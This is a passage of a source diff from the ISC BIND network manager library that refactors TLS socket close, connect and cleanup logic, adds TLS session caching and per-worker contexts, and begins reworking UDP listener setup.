+	REQUIRE(!sock->closing);
+
+	sock->closing = true;
+
 	/*
 	 * At this point we're certain that there are no
 	 * external references, we can close everything.
 	 */
+	tls_read_stop(sock);
 	if (sock->outerhandle != NULL) {
-		isc_nm_pauseread(sock->outerhandle);
-		isc__nmsocket_clearcb(sock->outerhandle->sock);
+		isc_nm_read_stop(sock->outerhandle);
+		isc_nmhandle_close(sock->outerhandle);
 		isc_nmhandle_detach(&sock->outerhandle);
 	}
 
@@ -803,65 +1145,20 @@ tls_close_direct(isc_nmsocket_t *sock) {
 		isc__nmsocket_detach(&sock->listener);
 	}
 
-	/* further cleanup performed in isc__nm_tls_cleanup_data() */
-	atomic_store(&sock->closed, true);
-	atomic_store(&sock->active, false);
+	/* Further cleanup performed in isc__nm_tls_cleanup_data() */
+	sock->closed = true;
+	sock->active = false;
 	sock->tlsstream.state = TLS_CLOSED;
 }
 
-void
-isc__nm_tls_close(isc_nmsocket_t *sock) {
-	isc__netievent_tlsclose_t *ievent = NULL;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tlssocket);
-
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		return;
-	}
-
-	ievent = isc__nm_get_netievent_tlsclose(sock->mgr, sock);
-	isc__nm_maybe_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				     (isc__netievent_t *)ievent);
-}
-
-void
-isc__nm_async_tlsclose(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsclose_t *ievent = (isc__netievent_tlsclose_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-
-	UNUSED(worker);
-
-	tls_close_direct(sock);
-}
-
 void
 isc__nm_tls_stoplistening(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(sock->type == isc_nm_tlslistener);
+	REQUIRE(sock->tlsstream.tls == NULL);
+	REQUIRE(sock->tlsstream.ctx == NULL);
 
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	atomic_store(&sock->listening, false);
-	atomic_store(&sock->closed, true);
-	sock->recv_cb = NULL;
-	sock->recv_cbarg = NULL;
-	if (sock->tlsstream.tls != NULL) {
-		isc_tls_free(&sock->tlsstream.tls);
-		sock->tlsstream.ctx = NULL;
-	}
-
-	if (sock->outer != NULL) {
-		isc_nm_stoplistening(sock->outer);
-		isc__nmsocket_detach(&sock->outer);
-	}
+	isc__nmsocket_stop(sock);
 }
 
 static void
@@ -869,47 +1166,58 @@ tcp_connected(isc_nmhandle_t *handle, isc_result_t result, void *cbarg);
 
 void
 isc_nm_tlsconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
-		  isc_nm_cb_t cb, void *cbarg, SSL_CTX *ctx,
-		  unsigned int timeout, size_t extrahandlesize) {
-	isc_nmsocket_t *nsock = NULL;
-#if defined(NETMGR_TRACE) && defined(NETMGR_TRACE_VERBOSE)
-	fprintf(stderr, "TLS: isc_nm_tlsconnect(): in net thread: %s\n",
-		isc__nm_in_netthread() ? "yes" : "no");
-#endif /* NETMGR_TRACE */
+		  isc_nm_cb_t connect_cb, void *connect_cbarg,
+		  isc_tlsctx_t *ctx,
+		  isc_tlsctx_client_session_cache_t *client_sess_cache,
+		  unsigned int timeout) {
+	isc_nmsocket_t *sock = NULL;
+	isc__networker_t *worker = &mgr->workers[isc_tid()];
 
 	REQUIRE(VALID_NM(mgr));
 
-	nsock = isc_mem_get(mgr->mctx, sizeof(*nsock));
-	isc__nmsocket_init(nsock, mgr, isc_nm_tlssocket, local);
-	nsock->tlsstream.local_iface = *local;
-	ISC_LINK_INIT(&nsock->tlsstream.local_iface, link);
-	nsock->iface = nsock->tlsstream.local_iface;
-	nsock->extrahandlesize = extrahandlesize;
-	nsock->result = ISC_R_UNSET;
-	nsock->connect_cb = cb;
-	nsock->connect_cbarg = cbarg;
-	nsock->connect_timeout = timeout;
-	nsock->tlsstream.ctx = ctx;
-
-	isc_nm_tcpconnect(mgr, &nsock->tlsstream.local_iface, peer,
-			  tcp_connected, nsock, nsock->connect_timeout, 0);
+	if (isc__nm_closing(worker)) {
+		connect_cb(NULL, ISC_R_SHUTTINGDOWN, connect_cbarg);
+		return;
+	}
+
+	sock = isc_mem_get(worker->mctx, sizeof(*sock));
+	isc__nmsocket_init(sock, worker, isc_nm_tlssocket, local, NULL);
+	sock->connect_cb = connect_cb;
+	sock->connect_cbarg = connect_cbarg;
+	sock->connect_timeout = timeout;
+	isc_tlsctx_attach(ctx, &sock->tlsstream.ctx);
+	sock->client = true;
+	if (client_sess_cache != NULL) {
+		INSIST(isc_tlsctx_client_session_cache_getctx(
+			       client_sess_cache) == ctx);
+		isc_tlsctx_client_session_cache_attach(
+			client_sess_cache, &sock->tlsstream.client_sess_cache);
+	}
+
+	isc_nm_tcpconnect(mgr, local, peer, tcp_connected, sock,
+			  sock->connect_timeout);
 }
 
 static void
 tcp_connected(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 	isc_nmsocket_t *tlssock = (isc_nmsocket_t *)cbarg;
 	isc_nmhandle_t *tlshandle = NULL;
+	isc__networker_t *worker = NULL;
 
 	REQUIRE(VALID_NMSOCK(tlssock));
-	REQUIRE(VALID_NMHANDLE(handle));
 
-	tlssock->tid = isc_nm_tid();
+	worker = tlssock->worker;
+
 	if (result != ISC_R_SUCCESS) {
 		goto error;
 	}
 
-	if (isc__nm_closing(tlssock)) {
-		result = ISC_R_CANCELED;
+	INSIST(VALID_NMHANDLE(handle));
+
+	tlssock->iface = handle->sock->iface;
+	tlssock->peer = handle->sock->peer;
+	if (isc__nm_closing(worker)) {
+		result = ISC_R_SHUTTINGDOWN;
 		goto error;
 	}
 
@@ -928,90 +1236,196 @@ tcp_connected(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 	}
 	tlssock->peer = isc_nmhandle_peeraddr(handle);
 	isc_nmhandle_attach(handle, &tlssock->outerhandle);
-	atomic_store(&tlssock->active, true);
+	tlssock->active = true;
+
+	if (tlssock->tlsstream.client_sess_cache != NULL) {
+		isc_tlsctx_client_session_cache_reuse_sockaddr(
+			tlssock->tlsstream.client_sess_cache, &tlssock->peer,
+			tlssock->tlsstream.tls);
+	}
+
+	/*
+	 * Hold a reference to tlssock in the TCP socket: it will
+	 * detached in isc__nm_tls_cleanup_data().
+	 */
+	handle->sock->tlsstream.tlssocket = tlssock;
+
+	tls_try_to_enable_tcp_nodelay(tlssock);
 
+	isc__nmhandle_set_manual_timer(tlssock->outerhandle, true);
 	tls_do_bio(tlssock, NULL, NULL, false);
 	return;
 error:
 	tlshandle = isc__nmhandle_get(tlssock, NULL, NULL);
-	atomic_store(&tlssock->closed, true);
+	tlssock->closed = true;
 	tls_call_connect_cb(tlssock, tlshandle, result);
 	isc_nmhandle_detach(&tlshandle);
 	isc__nmsocket_detach(&tlssock);
 }
 
-static void
-tls_cancelread(isc_nmsocket_t *sock) {
-	if (!inactive(sock) && sock->tlsstream.state == TLS_IO) {
-		tls_do_bio(sock, NULL, NULL, true);
-	} else if (sock->outerhandle != NULL) {
-		sock->tlsstream.reading = false;
-		isc_nm_cancelread(sock->outerhandle);
+void
+isc__nm_tls_cleanup_data(isc_nmsocket_t *sock) {
+	if (sock->type == isc_nm_tcplistener &&
+	    sock->tlsstream.tlslistener != NULL)
+	{
+		isc__nmsocket_detach(&sock->tlsstream.tlslistener);
+	} else if (sock->type == isc_nm_tlslistener) {
+		tls_cleanup_listener_tlsctx(sock);
+	} else if (sock->type == isc_nm_tlssocket) {
+		if (sock->tlsstream.tls != NULL) {
+			/*
+			 * Let's shut down the TLS session properly so that
+			 * the session will remain resumable, if required.
+			 */
+			tls_try_shutdown(sock->tlsstream.tls, true);
+			tls_keep_client_tls_session(sock);
+			isc_tls_free(&sock->tlsstream.tls);
+			/* These are destroyed when we free SSL */
+			sock->tlsstream.bio_out = NULL;
+			sock->tlsstream.bio_in = NULL;
+		}
+		if (sock->tlsstream.ctx != NULL) {
+			isc_tlsctx_free(&sock->tlsstream.ctx);
+		}
+		if (sock->tlsstream.client_sess_cache != NULL) {
+			INSIST(sock->client);
+			isc_tlsctx_client_session_cache_detach(
+				&sock->tlsstream.client_sess_cache);
+		}
+
+		if (sock->tlsstream.send_req != NULL) {
+			isc_buffer_clearmctx(&sock->tlsstream.send_req->data);
+			isc_buffer_invalidate(&sock->tlsstream.send_req->data);
+			isc_mem_put(sock->worker->mctx,
+				    sock->tlsstream.send_req,
+				    sizeof(*sock->tlsstream.send_req));
+		}
+	} else if (sock->type == isc_nm_tcpsocket &&
+		   sock->tlsstream.tlssocket != NULL)
+	{
+		/*
+		 * The TLS socket can't be destroyed until its underlying TCP
+		 * socket is, to avoid possible use-after-free errors.
+		 */
+		isc__nmsocket_detach(&sock->tlsstream.tlssocket);
 	}
 }
 
 void
-isc__nm_tls_cancelread(isc_nmhandle_t *handle) {
+isc__nm_tls_cleartimeout(isc_nmhandle_t *handle) {
 	isc_nmsocket_t *sock = NULL;
-	isc__netievent_tlscancel_t *ievent = NULL;
 
 	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_tlssocket);
 
 	sock = handle->sock;
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		isc_nmhandle_cleartimeout(sock->outerhandle);
+	}
+}
 
-	REQUIRE(sock->type == isc_nm_tlssocket);
+void
+isc__nm_tls_settimeout(isc_nmhandle_t *handle, uint32_t timeout) {
+	isc_nmsocket_t *sock = NULL;
 
-	if (sock->tid == isc_nm_tid()) {
-		tls_cancelread(sock);
-	} else {
-		ievent = isc__nm_get_netievent_tlscancel(sock->mgr, sock,
-							 handle);
-		isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_tlssocket);
+
+	sock = handle->sock;
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		isc_nmhandle_settimeout(sock->outerhandle, timeout);
 	}
 }
 
 void
-isc__nm_async_tlscancel(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlscancel_t *ievent = (isc__netievent_tlscancel_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
+isc__nmhandle_tls_keepalive(isc_nmhandle_t *handle, bool value) {
+	isc_nmsocket_t *sock = NULL;
 
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(worker->id == sock->tid);
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_tlssocket);
+
+	sock = handle->sock;
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+
+		isc_nmhandle_keepalive(sock->outerhandle, value);
+	}
+}
+
+void
+isc__nmhandle_tls_setwritetimeout(isc_nmhandle_t *handle,
+				  uint64_t write_timeout) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_tlssocket);
 
-	UNUSED(worker);
-	tls_cancelread(sock);
+	sock = handle->sock;
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+
+		isc_nmhandle_setwritetimeout(sock->outerhandle, write_timeout);
+	}
 }
 
 void
-isc__nm_async_tlsdobio(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsdobio_t *ievent = (isc__netievent_tlsdobio_t *)ev0;
+isc__nmsocket_tls_reset(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_tlssocket);
 
-	UNUSED(worker);
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		REQUIRE(VALID_NMSOCK(sock->outerhandle->sock));
+		isc__nmsocket_reset(sock->outerhandle->sock);
+	}
+}
 
-	tls_do_bio(ievent->sock, NULL, NULL, false);
+bool
+isc__nmsocket_tls_timer_running(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_tlssocket);
+
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		REQUIRE(VALID_NMSOCK(sock->outerhandle->sock));
+		return (isc__nmsocket_timer_running(sock->outerhandle->sock));
+	}
+
+	return (false);
 }
 
 void
-isc__nm_tls_cleanup_data(isc_nmsocket_t *sock) {
-	if (sock->type == isc_nm_tcplistener &&
-	    sock->tlsstream.tlslistener != NULL) {
-		REQUIRE(VALID_NMSOCK(sock->tlsstream.tlslistener));
-		isc__nmsocket_detach(&sock->tlsstream.tlslistener);
-	} else if (sock->type == isc_nm_tlssocket) {
-		if (sock->tlsstream.tls != NULL) {
-			isc_tls_free(&sock->tlsstream.tls);
-			/* These are destroyed when we free SSL */
-			sock->tlsstream.ctx = NULL;
-			sock->tlsstream.bio_out = NULL;
-			sock->tlsstream.bio_in = NULL;
-		}
+isc__nmsocket_tls_timer_restart(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_tlssocket);
+
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		REQUIRE(VALID_NMSOCK(sock->outerhandle->sock));
+		isc__nmsocket_timer_restart(sock->outerhandle->sock);
 	}
 }
 
 void
-isc__nm_tls_cleartimeout(isc_nmhandle_t *handle) {
+isc__nmsocket_tls_timer_stop(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_tlssocket);
+
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		REQUIRE(VALID_NMSOCK(sock->outerhandle->sock));
+		isc__nmsocket_timer_stop(sock->outerhandle->sock);
+	}
+}
+
+const char *
+isc__nm_tls_verify_tls_peer_result_string(const isc_nmhandle_t *handle) {
 	isc_nmsocket_t *sock = NULL;
 
 	REQUIRE(VALID_NMHANDLE(handle));
@@ -1019,15 +1433,131 @@ isc__nm_tls_cleartimeout(isc_nmhandle_t *handle) {
 	REQUIRE(handle->sock->type == isc_nm_tlssocket);
 
 	sock = handle->sock;
-	if (sock->outerhandle != NULL) {
-		INSIST(VALID_NMHANDLE(sock->outerhandle));
-		isc_nmhandle_cleartimeout(sock->outerhandle);
+	if (sock->tlsstream.tls == NULL) {
+		return (NULL);
 	}
+
+	return (isc_tls_verify_peer_result_string(sock->tlsstream.tls));
+}
+
+static void
+tls_init_listener_tlsctx(isc_nmsocket_t *listener, isc_tlsctx_t *ctx) {
+	size_t nworkers;
+
+	REQUIRE(VALID_NMSOCK(listener));
+	REQUIRE(ctx != NULL);
+
+	nworkers =
+		(size_t)isc_loopmgr_nloops(listener->worker->netmgr->loopmgr);
+	INSIST(nworkers > 0);
+
+	listener->tlsstream.listener_tls_ctx = isc_mem_cget(
+		listener->worker->mctx, nworkers, sizeof(isc_tlsctx_t *));
+	listener->tlsstream.n_listener_tls_ctx = nworkers;
+	for (size_t i = 0; i < nworkers; i++) {
+		listener->tlsstream.listener_tls_ctx[i] = NULL;
+		isc_tlsctx_attach(ctx,
+				  &listener->tlsstream.listener_tls_ctx[i]);
+	}
+}
+
+static void
+tls_cleanup_listener_tlsctx(isc_nmsocket_t *listener) {
+	REQUIRE(VALID_NMSOCK(listener));
+
+	if (listener->tlsstream.listener_tls_ctx == NULL) {
+		return;
+	}
+
+	for (size_t i = 0; i < listener->tlsstream.n_listener_tls_ctx; i++) {
+		isc_tlsctx_free(&listener->tlsstream.listener_tls_ctx[i]);
+	}
+	isc_mem_cput(
+		listener->worker->mctx, listener->tlsstream.listener_tls_ctx,
+		listener->tlsstream.n_listener_tls_ctx, sizeof(isc_tlsctx_t *));
+	listener->tlsstream.n_listener_tls_ctx = 0;
+}
+
+static isc_tlsctx_t *
+tls_get_listener_tlsctx(isc_nmsocket_t *listener, const int tid) {
+	REQUIRE(VALID_NMSOCK(listener));
+	REQUIRE(tid >= 0);
+
+	if (listener->tlsstream.listener_tls_ctx == NULL) {
+		return (NULL);
+	}
+
+	return (listener->tlsstream.listener_tls_ctx[tid]);
 }
 
 void
-isc__nm_tls_settimeout(isc_nmhandle_t *handle, uint32_t timeout) {
+isc__nm_async_tls_set_tlsctx(isc_nmsocket_t *listener, isc_tlsctx_t *tlsctx,
+			     const int tid) {
+	REQUIRE(tid >= 0);
+
+	isc_tlsctx_free(&listener->tlsstream.listener_tls_ctx[tid]);
+	isc_tlsctx_attach(tlsctx, &listener->tlsstream.listener_tls_ctx[tid]);
+}
+
+static void
+tls_keep_client_tls_session(isc_nmsocket_t *sock) {
+	/*
+	 * Ensure that the isc_tls_t is being accessed from
+	 * within the worker thread the socket is bound to.
+	 */
+	REQUIRE(sock->tid == isc_tid());
+	if (sock->tlsstream.client_sess_cache != NULL &&
+	    sock->tlsstream.client_session_saved == false)
+	{
+		INSIST(sock->client);
+		isc_tlsctx_client_session_cache_keep_sockaddr(
+			sock->tlsstream.client_sess_cache, &sock->peer,
+			sock->tlsstream.tls);
+		sock->tlsstream.client_session_saved = true;
+	}
+}
+
+static void
+tls_try_shutdown(isc_tls_t *tls, const bool force) {
+	if (force) {
+		(void)SSL_set_shutdown(tls, SSL_SENT_SHUTDOWN);
+	} else if ((SSL_get_shutdown(tls) & SSL_SENT_SHUTDOWN) == 0) {
+		(void)SSL_shutdown(tls);
+	}
+}
+
+void
+isc__nmhandle_tls_set_manual_timer(isc_nmhandle_t *handle, const bool manual) {
+	isc_nmsocket_t *sock;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	sock = handle->sock;
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_tlssocket);
+	REQUIRE(sock->tid == isc_tid());
+
+	sock->manual_read_timer = manual;
+}
+
+void
+isc__nmhandle_tls_get_selected_alpn(isc_nmhandle_t *handle,
+				    const unsigned char **alpn,
+				    unsigned int *alpnlen) {
+	isc_nmsocket_t *sock;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	sock = handle->sock;
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_tlssocket);
+	REQUIRE(sock->tid == isc_tid());
+
+	isc_tls_get_selected_alpn(sock->tlsstream.tls, alpn, alpnlen);
+}
+
+isc_result_t
+isc__nmhandle_tls_set_tcp_nodelay(isc_nmhandle_t *handle, const bool value) {
 	isc_nmsocket_t *sock = NULL;
+	isc_result_t result = ISC_R_FAILURE;
 
 	REQUIRE(VALID_NMHANDLE(handle));
 	REQUIRE(VALID_NMSOCK(handle->sock));
@@ -1036,6 +1566,17 @@ isc__nm_tls_settimeout(isc_nmhandle_t *handle, uint32_t timeout) {
 	sock = handle->sock;
 	if (sock->outerhandle != NULL) {
 		INSIST(VALID_NMHANDLE(sock->outerhandle));
-		isc_nmhandle_settimeout(sock->outerhandle, timeout);
+
+		if (value == sock->tlsstream.tcp_nodelay_value) {
+			result = ISC_R_SUCCESS;
+		} else {
+			result = isc_nmhandle_set_tcp_nodelay(sock->outerhandle,
+							      value);
+			if (result == ISC_R_SUCCESS) {
+				sock->tlsstream.tcp_nodelay_value = value;
+			}
+		}
 	}
+
+	return (result);
 }
diff --git a/lib/isc/netmgr/udp.c b/lib/isc/netmgr/udp.c
index d9dbefca3d..4671b9f9f0 100644
--- a/lib/isc/netmgr/udp.c
+++ b/lib/isc/netmgr/udp.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,8 @@
  */
 
 #include <unistd.h>
-#include <uv.h>
 
+#include <isc/async.h>
 #include <isc/atomic.h>
 #include <isc/barrier.h>
 #include <isc/buffer.h>
@@ -27,17 +29,36 @@
 #include <isc/sockaddr.h>
 #include <isc/thread.h>
 #include <isc/util.h>
+#include <isc/uv.h>
 
+#include "../loop_p.h"
 #include "netmgr-int.h"
-#include "uv-compat.h"
-
-static isc_result_t
-udp_send_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req,
-		isc_sockaddr_t *peer);
 
-static void
-udp_recv_cb(uv_udp_t *handle, ssize_t nrecv, const uv_buf_t *buf,
-	    const struct sockaddr *addr, unsigned flags);
+#ifdef HAVE_NET_ROUTE_H
+#include <net/route.h>
+#if defined(RTM_VERSION) && defined(RTM_NEWADDR) && defined(RTM_DELADDR)
+#define USE_ROUTE_SOCKET      1
+#define ROUTE_SOCKET_PF	      PF_ROUTE
+#define ROUTE_SOCKET_PROTOCOL 0
+#define MSGHDR		      rt_msghdr
+#define MSGTYPE		      rtm_type
+#endif /* if defined(RTM_VERSION) && defined(RTM_NEWADDR) && \
+	* defined(RTM_DELADDR) */
+#endif /* ifdef HAVE_NET_ROUTE_H */
+
+#if defined(HAVE_LINUX_NETLINK_H) && defined(HAVE_LINUX_RTNETLINK_H)
+#include <linux/netlink.h>
+#include <linux/rtnetlink.h>
+#if defined(RTM_NEWADDR) && defined(RTM_DELADDR)
+#define USE_ROUTE_SOCKET      1
+#define USE_NETLINK	      1
+#define ROUTE_SOCKET_PF	      PF_NETLINK
+#define ROUTE_SOCKET_PROTOCOL NETLINK_ROUTE
+#define MSGHDR		      nlmsghdr
+#define MSGTYPE		      nlmsg_type
+#endif /* if defined(RTM_NEWADDR) && defined(RTM_DELADDR) */
+#endif /* if defined(HAVE_LINUX_NETLINK_H) && defined(HAVE_LINUX_RTNETLINK_H) \
+	*/
 
 static void
 udp_send_cb(uv_udp_send_t *req, int status);
@@ -45,286 +66,401 @@ udp_send_cb(uv_udp_send_t *req, int status);
 static void
 udp_close_cb(uv_handle_t *handle);
 
-static void
-timer_close_cb(uv_handle_t *handle);
-
-static void
-udp_close_direct(isc_nmsocket_t *sock);
-
-static void
-stop_udp_parent(isc_nmsocket_t *sock);
-static void
-stop_udp_child(isc_nmsocket_t *sock);
-
 static uv_os_sock_t
-isc__nm_udp_lb_socket(sa_family_t sa_family) {
+isc__nm_udp_lb_socket(isc_nm_t *mgr, sa_family_t sa_family) {
 	isc_result_t result;
-	uv_os_sock_t sock;
+	uv_os_sock_t sock = -1;
 
 	result = isc__nm_socket(sa_family, SOCK_DGRAM, 0, &sock);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
 	(void)isc__nm_socket_incoming_cpu(sock);
-	(void)isc__nm_socket_dontfrag(sock, sa_family);
+	(void)isc__nm_socket_disable_pmtud(sock, sa_family);
+	(void)isc__nm_socket_v6only(sock, sa_family);
 
 	result = isc__nm_socket_reuse(sock);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
-#if HAVE_SO_REUSEPORT_LB
-	result = isc__nm_socket_reuse_lb(sock);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-#endif
+	if (mgr->load_balance_sockets) {
+		result = isc__nm_socket_reuse_lb(sock);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	}
 
 	return (sock);
 }
 
+/*
+ * Asynchronous 'udplisten' call handler: start listening on a UDP socket.
+ */
 static void
-start_udp_child(isc_nm_t *mgr, isc_sockaddr_t *iface, isc_nmsocket_t *sock,
-		uv_os_sock_t fd, int tid) {
-	isc_nmsocket_t *csock;
-	isc__netievent_udplisten_t *ievent = NULL;
+start_udp_child_job(void *arg) {
+	isc_nmsocket_t *sock = arg;
 
-	csock = &sock->children[tid];
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(VALID_NMSOCK(sock->parent));
+	REQUIRE(sock->type == isc_nm_udpsocket);
+	REQUIRE(sock->tid == isc_tid());
 
-	isc__nmsocket_init(csock, mgr, isc_nm_udpsocket, iface);
-	csock->parent = sock;
-	csock->iface = sock->iface;
-	csock->reading = true;
-	csock->recv_cb = sock->recv_cb;
-	csock->recv_cbarg = sock->recv_cbarg;
-	csock->extrahandlesize = sock->extrahandlesize;
-	csock->tid = tid;
+	int r, uv_bind_flags = 0;
+	int uv_init_flags = 0;
+	sa_family_t sa_family = sock->iface.type.sa.sa_family;
+	isc_result_t result = ISC_R_UNSET;
+	isc_nm_t *mgr = sock->worker->netmgr;
+	isc_loop_t *loop = sock->worker->loop;
 
-#if HAVE_SO_REUSEPORT_LB
-	UNUSED(fd);
-	csock->fd = isc__nm_udp_lb_socket(iface->type.sa.sa_family);
-#else
-	csock->fd = dup(fd);
+	(void)isc__nm_socket_min_mtu(sock->fd, sa_family);
+
+#if HAVE_DECL_UV_UDP_RECVMMSG
+	uv_init_flags |= UV_UDP_RECVMMSG;
 #endif
-	REQUIRE(csock->fd >= 0);
+	r = uv_udp_init_ex(&loop->loop, &sock->uv_handle.udp, uv_init_flags);
+	UV_RUNTIME_CHECK(uv_udp_init_ex, r);
+	uv_handle_set_data(&sock->uv_handle.handle, sock);
+	/* This keeps the socket alive after everything else is gone */
+	isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
+
+	r = uv_timer_init(&loop->loop, &sock->read_timer);
+	UV_RUNTIME_CHECK(uv_timer_init, r);
+	uv_handle_set_data((uv_handle_t *)&sock->read_timer, sock);
+
+	r = uv_udp_open(&sock->uv_handle.udp, sock->fd);
+	if (r < 0) {
+		isc__nm_closesocket(sock->fd);
+		isc__nm_incstats(sock, STATID_OPENFAIL);
+		goto done;
+	}
+	isc__nm_incstats(sock, STATID_OPEN);
+
+	if (sa_family == AF_INET6) {
+		uv_bind_flags |= UV_UDP_IPV6ONLY;
+	}
+
+	if (mgr->load_balance_sockets) {
+		r = isc__nm_udp_freebind(&sock->uv_handle.udp,
+					 &sock->parent->iface.type.sa,
+					 uv_bind_flags);
+		if (r < 0) {
+			isc__nm_incstats(sock, STATID_BINDFAIL);
+			goto done;
+		}
+	} else if (sock->tid == 0) {
+		/* This thread is first, bind the socket */
+		r = isc__nm_udp_freebind(&sock->uv_handle.udp,
+					 &sock->parent->iface.type.sa,
+					 uv_bind_flags);
+		if (r < 0) {
+			isc__nm_incstats(sock, STATID_BINDFAIL);
+			goto done;
+		}
+		sock->parent->uv_handle.udp.flags = sock->uv_handle.udp.flags;
+	} else {
+		/* The socket is already bound, just copy the flags */
+		sock->uv_handle.udp.flags = sock->parent->uv_handle.udp.flags;
+	}
+
+	isc__nm_set_network_buffers(mgr, &sock->uv_handle.handle);
+
+	r = uv_udp_recv_start(&sock->uv_handle.udp, isc__nm_alloc_cb,
+			      isc__nm_udp_read_cb);
+	if (r != 0) {
+		isc__nm_incstats(sock, STATID_BINDFAIL);
+		goto done;
+	}
+
+done:
+	result = isc_uverr2result(r);
 
-	ievent = isc__nm_get_netievent_udplisten(mgr, csock);
-	isc__nm_maybe_enqueue_ievent(&mgr->workers[tid],
-				     (isc__netievent_t *)ievent);
+	sock->result = result;
+
+	REQUIRE(!loop->paused);
+
+	if (sock->tid != 0) {
+		isc_barrier_wait(&sock->parent->listen_barrier);
+	}
 }
 
 static void
-enqueue_stoplistening(isc_nmsocket_t *sock) {
-	isc__netievent_udpstop_t *ievent =
-		isc__nm_get_netievent_udpstop(sock->mgr, sock);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
+start_udp_child(isc_nm_t *mgr, isc_sockaddr_t *iface, isc_nmsocket_t *sock,
+		uv_os_sock_t fd, int tid) {
+	isc__networker_t *worker = &mgr->workers[tid];
+	isc_nmsocket_t *csock = &sock->children[tid];
+
+	isc__nmsocket_init(csock, worker, isc_nm_udpsocket, iface, sock);
+	csock->recv_cb = sock->recv_cb;
+	csock->recv_cbarg = sock->recv_cbarg;
+	csock->inactive_handles_max = ISC_NM_NMHANDLES_MAX;
+
+	if (mgr->load_balance_sockets) {
+		csock->fd = isc__nm_udp_lb_socket(mgr,
+						  iface->type.sa.sa_family);
+	} else {
+		csock->fd = dup(fd);
+	}
+	INSIST(csock->fd >= 0);
+
+	if (tid == 0) {
+		start_udp_child_job(csock);
+	} else {
+		isc_async_run(worker->loop, start_udp_child_job, csock);
+	}
 }
 
 isc_result_t
-isc_nm_listenudp(isc_nm_t *mgr, isc_sockaddr_t *iface, isc_nm_recv_cb_t cb,
-		 void *cbarg, size_t extrahandlesize, isc_nmsocket_t **sockp) {
-	isc_result_t result = ISC_R_SUCCESS;
+isc_nm_listenudp(isc_nm_t *mgr, uint32_t workers, isc_sockaddr_t *iface,
+		 isc_nm_recv_cb_t cb, void *cbarg, isc_nmsocket_t **sockp) {
+	isc_result_t result = ISC_R_UNSET;
 	isc_nmsocket_t *sock = NULL;
-	size_t children_size = 0;
-	REQUIRE(VALID_NM(mgr));
 	uv_os_sock_t fd = -1;
+	isc__networker_t *worker = &mgr->workers[0];
 
-	/*
-	 * We are creating mgr->nworkers duplicated sockets, one
-	 * socket for each worker thread.
-	 */
-	sock = isc_mem_get(mgr->mctx, sizeof(isc_nmsocket_t));
-	isc__nmsocket_init(sock, mgr, isc_nm_udplistener, iface);
